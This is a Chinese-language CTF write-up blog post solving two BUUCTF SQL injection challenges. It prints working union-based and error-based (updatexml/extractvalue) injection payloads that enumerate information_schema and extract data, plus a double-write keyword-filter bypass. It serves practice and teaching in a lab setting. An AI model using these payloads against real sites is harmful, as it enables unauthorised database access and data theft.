CTF-sql注入

CTF成长记

第一题:[第一章 web入门]SQL注入-1

太菜了,sql注入命令都忘了,简单的记录一下吧!
题目来源:BUUCTF
在这里插入图片描述

sql测试思路

先检测注入点是什么类型的

?id=1
?id=1+2

在这里测试发现返回界面一样大概率为字符串类型了,进一步测试试试

?id=1' and 1=1--+
?id=1' and 1=2--+

发现返回界面不同并且为字符串类型。确定了注入点和注入类型,准备测试字段数

?id=1' order by 3 --+
?id=1' order by 4 --+

发现当为3的时候有返回,为4的时候无返回,所以其字段数为3
在这里插入图片描述
然后可以参看其数据库名和版本信息之类的了

?id=-1' union select 1,version(),database()--+

在这里插入图片描述
可以看到版本号等信息其版本为5.0以上的所以是有information_schema数据库的。接下根据数据库名查表名

?id=-1%27%20union%20select%201,version(),group_concat(table_name)%20from%20information_schema.tables where table_schema=database()%20--+

在这里插入图片描述
然后查列名

?id=-1%27%20union%20select%201,version(),group_concat(column_name)%20from%20information_schema.columns where table_name='fl4g'%20--+

在这里插入图片描述
然后查列中的信息

?id=-1%27%20union%20select%201,version(),group_concat(fllllag)%20from%20fl4g--+

得到flag
在这里插入图片描述

第二题:[第一章 web入门]SQL注入-2

根据提示来到登录页面
在这里插入图片描述

发现只有一个登录页面,所以猜测大概率sql注入点在登录的地方,F12看一下源码发现有个提示。在这里插入图片描述
按照提示打开burp输入相关参数,正常发包发现没有东西,那就使用单引号闭合一下看看有没有东西。
在这里插入图片描述
发现有报错输出,所以大概率要用到报错注入的知识了。这里使用updatexml或者extractvalue函数。

updatexml函数

updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值
语法:updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称,文中为Doc
第二个参数:代表路径,Xpath格式的字符串例如//title[@lang]
第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

extractvalue函数

此函数从目标XML中返回包含所查询值的字符串
语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如:select user,password from users where user_id=1 and (extractvalue(1,0x7e));
由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

接下来爆数据库
在这里插入图片描述
然后爆表名

name=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&pass=12

发现报错:这里应该是将select给过滤了
在这里插入图片描述
双写绕过:

name=1' and updatexml(1,concat(1,(seselectlect group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&pass=12

在这里插入图片描述
爆列名:

name=1' and updatexml(1,concat(1,(seselectlect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)#&pass=12

在这里插入图片描述
爆数据:

name=1' and updatexml(1,concat(1,(seselectlect group_concat(flag) from fl4g),0x7e),1)#&pass=12

在这里插入图片描述
得到flag

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值